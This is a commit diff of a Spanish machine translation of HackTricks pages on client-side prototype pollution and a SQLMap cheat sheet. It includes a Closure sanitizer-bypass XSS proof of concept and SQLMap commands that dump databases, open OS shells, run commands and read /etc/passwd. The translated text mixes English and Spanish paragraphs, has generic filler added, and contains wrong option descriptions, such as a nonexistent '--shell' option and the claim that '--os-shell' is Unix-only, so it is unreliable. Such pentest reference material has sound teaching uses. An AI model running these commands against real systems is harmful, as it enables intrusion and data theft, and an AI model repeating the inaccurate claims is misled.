Translated ['generic-methodologies-and-resources/shells/msfvenom.md', 'p

This commit is contained in:
Translator 2023-08-16 09:34:11 +00:00
parent e3935b9541
commit 8895cf6db3
6 changed files with 396 additions and 372 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

File diff suppressed because one or more lines are too long

View File

@ -1,22 +1,22 @@
# Client Side Prototype Pollution
# Polución de Prototipos en el Lado del Cliente
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Descubrimiento usando herramientas automáticas
## Descubriendo usando herramientas automáticas
Las herramientas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **y** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) se pueden utilizar para **encontrar vulnerabilidades de pollution de prototipos**.
Las herramientas [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **y** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) se pueden utilizar para **encontrar vulnerabilidades de polución de prototipos**.
Además, también se puede utilizar la **extensión del navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automáticamente** las **páginas** a las que **accede** en busca de vulnerabilidades de pollution de prototipos.
Además, también puedes usar la **extensión del navegador** [**PPScan**](https://github.com/msrkp/PPScan) para **escanear automáticamente** las **páginas** a las que accedes en busca de vulnerabilidades de polución de prototipos.
### Depuración de dónde se utiliza una propiedad <a href="#5530" id="5530"></a>
@ -24,45 +24,45 @@ Además, también se puede utilizar la **extensión del navegador** [**PPScan**]
```javascript
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
console.trace();
return 'test';
}})
```
{% endcode %}
### Encontrando la causa raíz de la contaminación de prototipos <a href="#5530" id="5530"></a>
### Encontrando la causa raíz de la Inyección de Prototipo <a href="#5530" id="5530"></a>
Una vez que alguna de las herramientas ha **identificado** una **vulnerabilidad de contaminación de prototipos**, si el **código** no es muy **complejo**, puedes **buscar** en el código JS las palabras clave **`location.hash/decodeURIComponent/location.search`** en las Herramientas de Desarrollo de Chrome y encontrar el lugar vulnerable.
Una vez que alguna de las herramientas haya **identificado** una **vulnerabilidad de inyección de prototipo**, si el **código** no es muy **complejo**, puedes **buscar** en el código JS las palabras clave **`location.hash/decodeURIComponent/location.search`** en las Herramientas de Desarrollo de Chrome y encontrar el lugar vulnerable.
Si el código es grande y complejo, hay una manera fácil de **descubrir dónde está el código vulnerable**:
* Usando una de las herramientas, **encuentra una vulnerabilidad** y obtén una **carga útil** que **establecerá una propiedad** en el constructor. En ppmap se te dará algo como: `constructor[prototype][ppmap]=reserved`
* Ahora, establece un **punto de interrupción en la primera línea de código JS** que se va a ejecutar en la página, y actualiza la página con la carga útil para que la **ejecución se detenga allí**.
* Mientras la ejecución de JS está detenida, **pega el siguiente script en la consola de JS**. Este código indicará una vez que se crea la propiedad 'ppmap', para que puedas encontrar dónde se creó.
* Usando una de las herramientas, **encuentra una vulnerabilidad** y obtén un **payload** que establecerá una propiedad en el constructor. En ppmap se te dará algo como: `constructor[prototype][ppmap]=reserved`
* Ahora, establece un **punto de interrupción en la primera línea de código JS** que se va a ejecutar en la página y actualiza la página con el payload para que la **ejecución se detenga allí**.
* Mientras la ejecución de JS está detenida, **pega el siguiente script en la consola de JS**. Este código indicará cuando se crea la propiedad 'ppmap', para que puedas encontrar dónde se creó.
```javascript
function debugAccess(obj, prop, debugGet=true){
var origValue = obj[prop];
var origValue = obj[prop];
Object.defineProperty(obj, prop, {
get: function () {
if ( debugGet )
debugger;
return origValue;
},
set: function(val) {
debugger;
return origValue = val;
}
});
Object.defineProperty(obj, prop, {
get: function () {
if ( debugGet )
debugger;
return origValue;
},
set: function(val) {
debugger;
return origValue = val;
}
});
};
debugAccess(Object.prototype, 'ppmap')
```
Regrese a **Fuentes** y haga clic en "Reanudar" la **ejecución** del script. Después de hacer eso, todo el **javascript** se **ejecutará** y ppmap se volverá a contaminar como se esperaba. Con la ayuda del Snippet podemos encontrar exactamente dónde se contamina la propiedad ppmap. Podemos **hacer clic** en la **Pila de llamadas** y se mostrarán **diferentes** **pilas** donde se **produjo** la **contaminación**.
Vuelve a **Fuentes** y haz clic en "Reanudar" la **ejecución** del script. Después de hacer eso, todo el **javascript** se ejecutará y ppmap se volverá a contaminar como se esperaba. Con la ayuda del Fragmento, podemos encontrar exactamente dónde se contamina la propiedad ppmap. Podemos hacer clic en la **Pila de llamadas** y te encontrarás con diferentes pilas donde ocurrió la contaminación.
¿Pero cuál elegir? La mayoría de las veces, la contaminación de prototipos ocurre en bibliotecas de Javascript, por lo que apunte a la pila que está adjunta a los archivos de biblioteca .js (mire el lado derecho, al igual que en la imagen, para saber a qué punto final está adjunta la pila). En este caso, tenemos 2 pilas en la línea 4 y 6, lógicamente elegiremos la línea 4 porque es la primera vez que ocurre la contaminación, lo que significa que esta línea es la razón de la vulnerabilidad. Haciendo clic en la pila nos redirigirá al código vulnerable.
Pero ¿cuál elegir? La mayoría de las veces, la Contaminación de Prototipos ocurre en bibliotecas de Javascript, así que apunta a la pila que está adjunta a los archivos de biblioteca .js (mira el lado derecho, al igual que en la imagen, para saber a qué punto final está adjunta la pila). En este caso, tenemos 2 pilas en la línea 4 y 6, lógicamente elegiremos la línea 4 porque esa línea es la primera vez que ocurre la Contaminación, lo que significa que esta línea es la causa de la vulnerabilidad. Haciendo clic en la pila, seremos redirigidos al código vulnerable.
![](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg)
@ -70,30 +70,64 @@ Regrese a **Fuentes** y haga clic en "Reanudar" la **ejecución** del script. De
El gadget es el **código que se aprovechará una vez que se descubra una vulnerabilidad de PP**.
Si la aplicación es simple, podemos **buscar** palabras clave como **`srcdoc/innerHTML/iframe/createElement`** y revisar el código fuente para verificar si conduce a la ejecución de Javascript. A veces, las técnicas mencionadas pueden no encontrar gadgets en absoluto. En ese caso, la revisión pura del código fuente revela algunos gadgets interesantes como el siguiente ejemplo.
Si la aplicación es sencilla, podemos **buscar** palabras clave como **`srcdoc/innerHTML/iframe/createElement`** y revisar el código fuente para comprobar si conduce a la ejecución de javascript. A veces, las técnicas mencionadas pueden no encontrar gadgets en absoluto. En ese caso, la revisión pura del código fuente revela algunos gadgets interesantes como el siguiente ejemplo.
### Ejemplo de encontrar un gadget PP en el código de la biblioteca Mithil
### Ejemplo de encontrar un gadget de PP en el código de la biblioteca Mithil
Consulte este artículo: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
Consulta este artículo: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
## Recompilación de payloads para bibliotecas vulnerables
* [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
* [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
## Bypass de sanitizadores HTML mediante PP
[**Esta investigación**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) muestra gadgets de PP que se pueden utilizar para **burlar las sanitizaciones** proporcionadas por algunas bibliotecas de sanitizadores HTML:
* #### sanitize-html
<figure><img src="../../../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
* #### dompurify
<figure><img src="../../../.gitbook/assets/image (669).png" alt=""><figcaption></figcaption></figure>
* #### Closure
```html
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
</script>
```
## Referencias
* [https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746](https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746)
* [https://blog.s1r1us.ninja/research/PP](https://blog.s1r1us.ninja/research/PP)
* [https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:\~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -1,4 +1,4 @@
# SQLMap - Cheetsheat
# SQLMap - Cheatsheet
<details>
@ -7,8 +7,8 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -23,14 +23,14 @@
### Genéricos
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
@ -39,9 +39,9 @@
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### Obtener Información
#### Obtener Información
#### Interna
##### Interna
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -51,6 +51,8 @@
--privileges #Get privileges
```
#### Datos de la base de datos
The database contains sensitive information that can be valuable to an attacker. This information can include usernames, passwords, personal details, financial data, and more. It is important to protect this data from unauthorized access and potential leaks. In the context of a penetration test, accessing and extracting data from the database can provide valuable insights into the target system's security vulnerabilities.
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -67,16 +69,94 @@ Captura la solicitud y crea un archivo req.txt
```bash
sqlmap -r req.txt --current-user
```
### Inyección de petición GET
### Inyección en solicitudes GET
La inyección en solicitudes GET es una técnica común utilizada en pruebas de penetración para explotar vulnerabilidades de seguridad en aplicaciones web. Esta técnica implica manipular los parámetros de una solicitud GET para ejecutar comandos SQL maliciosos en la base de datos subyacente.
#### ¿Cómo funciona?
Cuando se envía una solicitud GET a un servidor web, los parámetros se incluyen en la URL. Estos parámetros se pueden manipular para insertar código SQL malicioso. El servidor web procesa la solicitud y ejecuta el código SQL sin validar o filtrar adecuadamente los datos ingresados. Esto permite al atacante extraer información confidencial, modificar datos o incluso tomar el control total de la base de datos.
#### Uso de SQLMap
SQLMap es una herramienta popular utilizada para automatizar la detección y explotación de vulnerabilidades de inyección SQL. Puede ayudar a identificar fácilmente las vulnerabilidades de inyección en solicitudes GET y realizar ataques de inyección SQL de manera eficiente.
Para utilizar SQLMap en solicitudes GET, simplemente proporcione la URL de destino y especifique los parámetros que desea probar. SQLMap analizará automáticamente la URL y los parámetros, y realizará pruebas exhaustivas para detectar y explotar posibles vulnerabilidades de inyección SQL.
#### Precauciones
Es importante tener en cuenta que la inyección en solicitudes GET puede tener consecuencias graves y potencialmente dañinas. Antes de realizar pruebas de penetración en aplicaciones web, asegúrese de tener el permiso adecuado del propietario del sistema y siga las mejores prácticas de ética y seguridad.
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### Inyección de solicitud POST
### Inyección en solicitudes POST
When performing a penetration test, it is common to encounter web applications that use POST requests to send data to the server. In these cases, it is important to understand how to perform SQL injection attacks on POST requests.
Durante la realización de una prueba de penetración, es común encontrarse con aplicaciones web que utilizan solicitudes POST para enviar datos al servidor. En estos casos, es importante entender cómo realizar ataques de inyección SQL en solicitudes POST.
SQLMap is a powerful tool that can automate the process of detecting and exploiting SQL injection vulnerabilities. It supports various techniques for injecting SQL queries into POST requests.
SQLMap es una herramienta poderosa que puede automatizar el proceso de detección y explotación de vulnerabilidades de inyección SQL. Soporta varias técnicas para inyectar consultas SQL en solicitudes POST.
To use SQLMap with POST requests, you need to provide the target URL and the parameters that are sent in the POST request. SQLMap will then analyze the parameters and attempt to inject SQL queries into them.
Para utilizar SQLMap con solicitudes POST, debes proporcionar la URL objetivo y los parámetros que se envían en la solicitud POST. SQLMap analizará los parámetros e intentará inyectar consultas SQL en ellos.
Here is an example command to use SQLMap with a POST request:
Aquí tienes un ejemplo de comando para utilizar SQLMap con una solicitud POST:
```
sqlmap -u "http://example.com/login" --data "username=admin&password=pass" --method POST
```
In this example, we specify the target URL as `http://example.com/login` and the parameters as `username=admin&password=pass`. The `--method POST` flag tells SQLMap to use a POST request.
En este ejemplo, especificamos la URL objetivo como `http://example.com/login` y los parámetros como `username=admin&password=pass`. La opción `--method POST` indica a SQLMap que utilice una solicitud POST.
SQLMap will then analyze the parameters and attempt to inject SQL queries into them. It will automatically detect any SQL injection vulnerabilities and exploit them if found.
SQLMap analizará los parámetros e intentará inyectar consultas SQL en ellos. Detectará automáticamente cualquier vulnerabilidad de inyección SQL y la explotará si se encuentra.
Using SQLMap with POST requests can be a powerful technique for identifying and exploiting SQL injection vulnerabilities in web applications. However, it is important to use this technique responsibly and with proper authorization.
Utilizar SQLMap con solicitudes POST puede ser una técnica poderosa para identificar y explotar vulnerabilidades de inyección SQL en aplicaciones web. Sin embargo, es importante utilizar esta técnica de manera responsable y con la debida autorización.
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Inyecciones en Encabezados y otros Métodos HTTP
When performing a web application penetration test, it is important to thoroughly test for vulnerabilities in all areas of the application, including the headers and other HTTP methods. Injections in headers and other HTTP methods can be just as dangerous as traditional SQL injections or other common vulnerabilities.
Cuando se realiza una prueba de penetración en una aplicación web, es importante probar exhaustivamente las vulnerabilidades en todas las áreas de la aplicación, incluyendo los encabezados y otros métodos HTTP. Las inyecciones en los encabezados y otros métodos HTTP pueden ser tan peligrosas como las inyecciones SQL tradicionales u otras vulnerabilidades comunes.
#### Header Injection
Header injection occurs when an attacker is able to manipulate the headers of an HTTP request. This can be done by injecting malicious input into user-controlled headers, such as the `User-Agent` or `Referer` headers. The injected input can be used to perform various attacks, such as cross-site scripting (XSS) or cross-site request forgery (CSRF).
La inyección en los encabezados ocurre cuando un atacante es capaz de manipular los encabezados de una solicitud HTTP. Esto se puede hacer mediante la inyección de entrada maliciosa en los encabezados controlados por el usuario, como los encabezados `User-Agent` o `Referer`. La entrada inyectada se puede utilizar para realizar varios ataques, como cross-site scripting (XSS) o cross-site request forgery (CSRF).
To test for header injection vulnerabilities, you can use tools like Burp Suite or manually craft HTTP requests with modified headers. By injecting payloads and observing the application's response, you can determine if the application is vulnerable to header injection attacks.
Para probar las vulnerabilidades de inyección en los encabezados, puedes utilizar herramientas como Burp Suite o crear manualmente solicitudes HTTP con encabezados modificados. Al inyectar cargas útiles y observar la respuesta de la aplicación, puedes determinar si la aplicación es vulnerable a los ataques de inyección en los encabezados.
#### Other HTTP Methods
In addition to the commonly used HTTP methods like GET and POST, there are other less known methods that can also be vulnerable to injection attacks. These methods include PUT, DELETE, OPTIONS, and TRACE.
Además de los métodos HTTP comúnmente utilizados como GET y POST, hay otros métodos menos conocidos que también pueden ser vulnerables a ataques de inyección. Estos métodos incluyen PUT, DELETE, OPTIONS y TRACE.
When testing for vulnerabilities in these methods, it is important to check if the application properly sanitizes and validates user input. By injecting payloads into the request body or parameters, you can determine if the application is vulnerable to injection attacks.
Al probar las vulnerabilidades en estos métodos, es importante verificar si la aplicación sanitiza y valida correctamente la entrada del usuario. Al inyectar cargas útiles en el cuerpo de la solicitud o en los parámetros, puedes determinar si la aplicación es vulnerable a ataques de inyección.
#### Conclusion
Injections in headers and other HTTP methods can lead to serious security vulnerabilities in web applications. It is crucial to thoroughly test for these vulnerabilities during a penetration test to ensure the application's security.
Las inyecciones en los encabezados y otros métodos HTTP pueden llevar a graves vulnerabilidades de seguridad en las aplicaciones web. Es crucial probar exhaustivamente estas vulnerabilidades durante una prueba de penetración para garantizar la seguridad de la aplicación.
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -91,20 +171,44 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### Indicar cadena cuando la inyección es exitosa
When performing SQL injection attacks, it is important to determine whether the injection was successful or not. One way to do this is by indicating a specific string that will be displayed when the injection is successful.
To achieve this, you can use the `--string` option in SQLMap. This option allows you to specify a string that should be present in the response when the injection is successful.
For example, let's say you are injecting into a login form and you want to check if the injection was successful by looking for the string "Welcome, admin!" in the response. You can use the following command:
```
sqlmap -u "http://example.com/login.php" --data "username=admin&password=123" --string "Welcome, admin!"
```
SQLMap will send the injection payload to the specified URL and check if the response contains the specified string. If the string is found, it means that the injection was successful.
By indicating a specific string, you can easily identify when the injection is working and proceed with further exploitation or testing.
```bash
--string="string_showed_when_TRUE"
--string="string_showed_when_TRUE"
```
### Eval
**Sqlmap** permite el uso de `-e` o `--eval` para procesar cada carga útil antes de enviarla con una línea de Python. Esto hace que sea muy fácil y rápido procesar de manera personalizada la carga útil antes de enviarla. En el siguiente ejemplo, la **sesión de cookies de Flask** **es firmada por Flask con el secreto conocido antes de enviarla**:
**Sqlmap** permite el uso de `-e` o `--eval` para procesar cada carga útil antes de enviarla con un comando de una sola línea en Python. Esto facilita y agiliza el procesamiento personalizado de la carga útil antes de enviarla. En el siguiente ejemplo, la **sesión de cookies de Flask** **es firmada por Flask con el secreto conocido antes de enviarla**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Shell
La opción `--os-shell` de sqlmap permite obtener una shell interactiva en el sistema operativo subyacente del servidor de la base de datos. Esto se logra mediante la ejecución de comandos del sistema operativo a través de la inyección SQL.
La opción `--shell` de SQLMap permite obtener una shell interactiva en el sistema objetivo después de explotar una inyección de SQL exitosa. Esto proporciona un control total sobre el sistema y permite ejecutar comandos arbitrarios.
Para utilizar esta opción, se debe tener en cuenta que sqlmap necesita permisos de escritura en el directorio actual para crear un archivo temporal que se utilizará para ejecutar los comandos del sistema operativo. Además, se debe tener en cuenta que la opción `--os-shell` solo está disponible para sistemas operativos basados en Unix.
Para utilizar esta opción, primero debes asegurarte de que SQLMap ha identificado una vulnerabilidad de inyección de SQL en el objetivo. Una vez que se haya confirmado la vulnerabilidad, puedes ejecutar el siguiente comando para obtener una shell:
```
sqlmap -u <URL> --os-shell
```
Reemplaza `<URL>` con la URL del objetivo que contiene la vulnerabilidad de inyección de SQL.
Después de ejecutar este comando, SQLMap intentará obtener una shell en el sistema objetivo. Si tiene éxito, se abrirá una shell interactiva donde podrás ejecutar comandos como si estuvieras directamente en el sistema.
Es importante tener en cuenta que el uso de la opción `--shell` puede ser ilegal y está sujeto a las leyes y regulaciones locales. Solo debes utilizar esta opción en sistemas en los que tengas permiso explícito para hacerlo, como parte de una prueba de penetración autorizada.
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -116,10 +220,43 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Leer archivo
La opción `--file-read` de SQLMap se utiliza para leer archivos del sistema de archivos del servidor de la base de datos. Esta opción es útil para extraer información confidencial almacenada en archivos, como credenciales de bases de datos o archivos de configuración.
#### Sintaxis
```
--file-read=<ruta_del_archivo>
```
#### Ejemplo
```
sqlmap -u "http://example.com/vulnerable.php?id=1" --file-read=/etc/passwd
```
En el ejemplo anterior, SQLMap intentará leer el archivo `/etc/passwd` del sistema de archivos del servidor de la base de datos. Si tiene éxito, mostrará el contenido del archivo en la salida.
Es importante tener en cuenta que esta opción solo funcionará si el servidor de la base de datos tiene permisos para leer el archivo especificado. Además, el usuario que ejecuta SQLMap también debe tener los permisos adecuados para leer archivos en el sistema de archivos del servidor.
```bash
--file-read=/etc/passwd
```
### Rastrear un sitio web con SQLmap y autoexplotar
SQLmap es una herramienta de prueba de penetración ampliamente utilizada para detectar y explotar vulnerabilidades de inyección SQL en aplicaciones web. Una de las características más poderosas de SQLmap es su capacidad para rastrear automáticamente un sitio web en busca de posibles puntos de inyección SQL y luego explotarlos de manera automática.
Para rastrear un sitio web con SQLmap, sigue estos pasos:
1. Descarga e instala SQLmap en tu máquina.
2. Abre una terminal y navega hasta el directorio donde se encuentra SQLmap.
3. Ejecuta el comando `sqlmap -u <URL>` para especificar la URL del sitio web que deseas rastrear.
4. SQLmap comenzará a rastrear el sitio web en busca de posibles puntos de inyección SQL. Esto puede llevar algún tiempo dependiendo del tamaño y la complejidad del sitio web.
5. Una vez que SQLmap haya encontrado un punto de inyección SQL, te mostrará la información relevante sobre la vulnerabilidad.
6. Puedes utilizar la opción `--dbs` para enumerar las bases de datos disponibles en el servidor y `--tables -D <nombre_de_la_base_de_datos>` para enumerar las tablas de una base de datos específica.
7. Para explotar la vulnerabilidad de inyección SQL, utiliza la opción `--dump -D <nombre_de_la_base_de_datos> -T <nombre_de_la_tabla>` para extraer datos de una tabla específica.
8. SQLmap también ofrece muchas otras opciones y funcionalidades avanzadas que puedes explorar según tus necesidades.
Recuerda que el uso de SQLmap en un sitio web sin permiso explícito del propietario es ilegal y puede tener consecuencias legales graves. Siempre realiza pruebas de penetración en entornos controlados y con el consentimiento del propietario del sitio web.
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -127,21 +264,44 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
### Inyección de segundo orden
### Inyección de Segundo Orden
Second Order Injection is a type of SQL injection attack that occurs when user input is not directly vulnerable to SQL injection, but is stored in a database and later used in a vulnerable SQL query. This allows an attacker to manipulate the stored data in a way that can lead to unauthorized access or data leakage.
La Inyección de Segundo Orden es un tipo de ataque de inyección SQL que ocurre cuando la entrada del usuario no es directamente vulnerable a la inyección SQL, pero se almacena en una base de datos y luego se utiliza en una consulta SQL vulnerable. Esto permite a un atacante manipular los datos almacenados de una manera que puede llevar a un acceso no autorizado o una filtración de datos.
To exploit a second order injection vulnerability, an attacker typically needs to perform the following steps:
Para explotar una vulnerabilidad de inyección de segundo orden, un atacante típicamente necesita realizar los siguientes pasos:
1. Identify a point in the application where user input is stored in a database.
2. Determine how the stored data is later used in a SQL query.
3. Craft a malicious payload that, when executed in the vulnerable SQL query, can manipulate the stored data in a way that achieves the attacker's goals.
1. Identificar un punto en la aplicación donde la entrada del usuario se almacena en una base de datos.
